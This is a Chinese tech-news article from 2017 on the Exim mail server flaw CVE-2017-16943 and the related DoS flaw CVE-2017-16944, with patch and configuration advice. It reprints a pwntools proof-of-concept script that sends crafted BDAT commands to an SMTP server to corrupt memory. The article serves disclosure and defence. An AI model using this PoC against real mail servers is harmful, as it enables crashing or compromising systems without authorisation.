主页 > 技术经验 > 正文

研究人员发现MTA软件 Exim 存在一处关键漏洞 超过40万台服务器遭

2017-11-29 18:48来源:99科技整理编辑:时寒峰

扫一扫

分享文章到微信

扫一扫

关注99科技网微信公众号

  原标题:研究人员发现MTA软件 Exim 存在一处关键漏洞 超过40万台服务器遭影响

  台湾安全公司 DEVCORE 的研究人员 Meh 于近期发现互联网邮件传输代理(MTA)软件 Exim 存在一处关键漏洞(CVE-2017-16943),允许黑客向 SMTP 服务器发送 BDAT 命令,从而触发漏洞后远程执行任意代码。调查显示,有超过 40 万台服务器的分块功能已遭该漏洞影响。

  Exim 是剑桥大学开发的一款基于 GPL 协议的开放源代码软件,其主要用于连接互联网 Unix 系统的消息传输代理(MTA)服务器。目前,据三月份进行的一百多万台邮件服务器的分析表明,超过 56% 的用户正在使用 Exim 软件。

  调查显示,该漏洞由一台公共bug跟踪器检测发现并在补丁发布之前意外披露。一旦黑客恶意利用,其系统将会处于崩溃状态,因为该函数指针的receive_getc并未被重置。以下是该漏洞部分概念验证代码(PoC)显示:

  # pip install pwntools

  from pwn import *

  r = remote(‘localhost’, 25)

  r.recvline()

  r.sendline(“EHLO test”)

  r.recvuntil(“250 HELP”)

  r.sendline(“MAIL FROM:<test@localhost>”)

  r.recvline()

  r.sendline(“RCPT TO:<test@localhost>”)

  r.recvline()

  #raw_input()

  r.sendline(‘a’*0x1100+’\x7f’)

  #raw_input()

  r.recvuntil(‘command’)

  r.sendline(‘BDAT 1’)

  r.sendline(‘:BDAT \x7f’)

  s = ‘a’*6 + p64(0xdeadbeef)*(0x1e00/8)

  r.send(s+ ‘:\r\n’)

  r.recvuntil(‘command’)

  #raw_input()

  r.send(‘\n’)

  r.interactive()

  exit()

  虽然跟踪器会警示 Exim 软件存在漏洞,但根据用户习惯来看告警通知极有可能被忽略。不过,现开发人员已采取安全措施防止此类事件恶意发展,并提醒运行 Exim 4.88 或更高版本的用户将其主要配置参数 chunking_advertise_hosts 设置为空值,从而禁用 ESMTP 扩展、使 BDAT 无法使用,以便关闭易受攻击程序。

  另外,研究人员发现的另一个漏洞(CVE-2017-16944)能够允许黑客利用 BDAT 命令与恶意函数远程开展拒绝服务(DoS)攻击。该漏洞影响了 Exim 4.88 和 4.89 中的 SMTP 后台进程。对此,研究人员建议系统管理人员尽快更新至 Exim 4.90 版本,以防可能的黑客恶意攻击。

     投稿邮箱:jiujiukejiwang@163.com   详情访问99科技网:http://www.fun99.cn

相关推荐